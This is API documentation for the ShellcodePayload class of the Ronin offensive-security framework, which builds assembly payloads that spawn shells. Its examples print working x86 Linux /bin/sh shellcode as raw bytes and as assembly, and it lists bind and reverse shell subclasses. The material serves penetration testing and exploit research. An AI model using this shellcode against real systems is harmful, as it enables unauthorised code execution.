Class: Ronin::Payloads::ShellcodePayload
- Inherits:
-
ASMPayload
- Object
- Payload
- BinaryPayload
- ASMPayload
- Ronin::Payloads::ShellcodePayload
- Defined in:
- lib/ronin/payloads/shellcode_payload.rb
Overview
A Payload class that represents payloads written in assembly which spawn shells or run commands.
Example
#!/usr/bin/env -S ronin-payload build -f
require 'ronin/payloads/shellcode_payload'
module Ronin
module Payloads
class LinuxX86BinSh < ShellcodePayload
register 'shellcode/linux/x86/bin_sh'
summary 'x86 Linux /bin/sh shellcode'
description " Shellcode that spawns a local /bin/sh shell\n EOS\n\n arch :x86\n os :linux\n\n def build\n @payload = \"1\\xc0Ph//shh/bin\\x89\\xdcPS\\x89\\xcc1\\xd2\\xcd\\x0b\"\n end\n end\n end\nend\n"
Pure-ruby shellcode:
#!/usr/bin/env -S ronin-payload build -f
require 'ronin/payloads/shellcode_payload'
module Ronin
module Payloads
class LinuxX86BinSh < ShellcodePayload
register 'shellcode/linux/x86/bin_sh'
summary 'x86 Linux /bin/sh shellcode'
description " Shellcode that spawns a local /bin/sh shell\n EOS\n\n arch :x86\n os :linux\n\n def build\n shellcode do\n xor eax, eax\n push eax\n push 0x68732f2f\n push 0x6e69622f\n mov esp, ebx\n push eax\n push ebx\n mov esp, ecx\n xor edx, edx\n int 0xb\n end\n end\n\n end\n end\nend\n"
Direct Known Subclasses
Ronin::Payloads::Shellcode::BindShellPayload, Ronin::Payloads::Shellcode::ExecShellPayload, Ronin::Payloads::Shellcode::ReverseShellPayload
Instance Attribute Summary
Attributes inherited from Payload
Class Method Summary collapse
-
.payload_type ⇒ Symbol
private
Returns the type or kind of payload.
Instance Method Summary collapse
-
#shellcode(define = {}) { ... } ⇒ String
Assembles shellcode and sets the
@payloadinstance variable.
Methods inherited from ASMPayload
Methods included from Metadata::OS
Methods included from Metadata::Arch
Methods inherited from Payload
#build, #built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate
Constructor Details
This class inherits a constructor from Ronin::Payloads::Payload
Class Method Details
.payload_type ⇒ Symbol
This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.
This is used internally to map an payload class to a printable type.
Returns the type or kind of payload.
108 109 110 |
# File 'lib/ronin/payloads/shellcode_payload.rb', line 108 def self.payload_type :shellcode end |
Instance Method Details
#shellcode(define = {}) { ... } ⇒ String
Assembles shellcode and sets the @payload instance variable.
124 125 126 127 128 129 130 131 |
# File 'lib/ronin/payloads/shellcode_payload.rb', line 124 def shellcode(define={},&block) @payload = Code::ASM::Shellcode.new( arch: arch, os: os, define: define, &block ).assemble end |